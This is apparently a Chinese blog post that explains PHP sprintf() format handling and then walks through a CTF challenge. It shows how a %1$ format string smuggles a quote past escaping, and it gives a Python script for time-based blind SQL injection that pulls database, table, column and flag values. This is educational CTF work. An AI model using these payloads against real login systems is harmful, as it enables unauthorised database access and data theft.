sprintf() 函数把格式化的字符串写入变量中。
arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "$" 组成。
语法:sprintf(format,arg1,arg2,arg++),format和arg1是必需的。
例:
<?php
$number = 123;
$txt = sprintf("带两位小数:%1\$.2f
<br>不带小数:%1\$u",$number);
echo $txt;
?>
输出带有两位小数:123.00 不带小数:123
但是在php源码中只对15种类型做了匹配。
%% - 返回一个百分号 %
%b - 二进制数
%c - ASCII 值对应的字符
%d - 包含正负号的十进制数(负数、0、正数)
%e - 使用小写的科学计数法(例如 1.2e+2)
%E - 使用大写的科学计数法(例如 1.2E+2)
%u - 不包含正负号的十进制数(大于等于 0)
%f - 浮点数(本地设置)
%F - 浮点数(非本地设置)
%g - 较短的 %e 和 %f
%G - 较短的 %E 和 %f
%o - 八进制数
%s - 字符串
%x - 十六进制数(小写字母)
%X - 十六进制数(大写字母)
而其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了,如果%后面出现一个,那么php会把\当作一个格式化字符的类型, 也就是%\或者%1$\这样,因为没有此类型的匹配导致被替换为空。
实例:
i春秋上的一道CTF:SQLi,页面显示登陆框,查看源码和扫描目录,没发现。测试admin/admin,显示密码错误,说明用户admin存在。然后用burpsuite的intruder模块测试下哪些字符不能用。
发现都返回username error,但是%返回不一样,有一个sprintf()错误。可以利用上述的漏洞。
构造
%1$' or 1=1#
返回password error,
%1$' or 1=2#
返回usernam error。
说明%1$起作用了。
接下来写脚本,
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!@#$%^&*()_+-="
url = "http://48fb53c69976426ea6612bcaa25d53903632d297359a4a1f.changame.ichunqiu.com/"
name = ""
# 难得的爆长度了,随便选个较大的。
for i in range(1, 50):
print(i)
for char in chars:
#这里用时间盲注,也可以用布尔盲注,判断返回的是username error还是password error就行。
# 爆数据库名
# payload = "%1$' or if(ascii(substr(database()," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
# 爆表名
# payload = "%1$' or if(ascii(substr((select table_name from information_schema.tables " \
# "where table_schema=database() limit 0,1)," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
# 爆列名
# payload = "%1$' or if(ascii(substr((select column_name from information_schema.columns " \
# "where table_name=0x666c6167 limit 0,1)," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
# 爆字段
payload = "%1$' or if(ascii(substr((select flag from flag)," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
data = {
"username": payload,
"password": "1"
}
start = time.time()
res = requests.post(url, data=data)
end = time.time()
if end - start >= 5:
name += char
print(name)
break
flag如下
图片.png
网友评论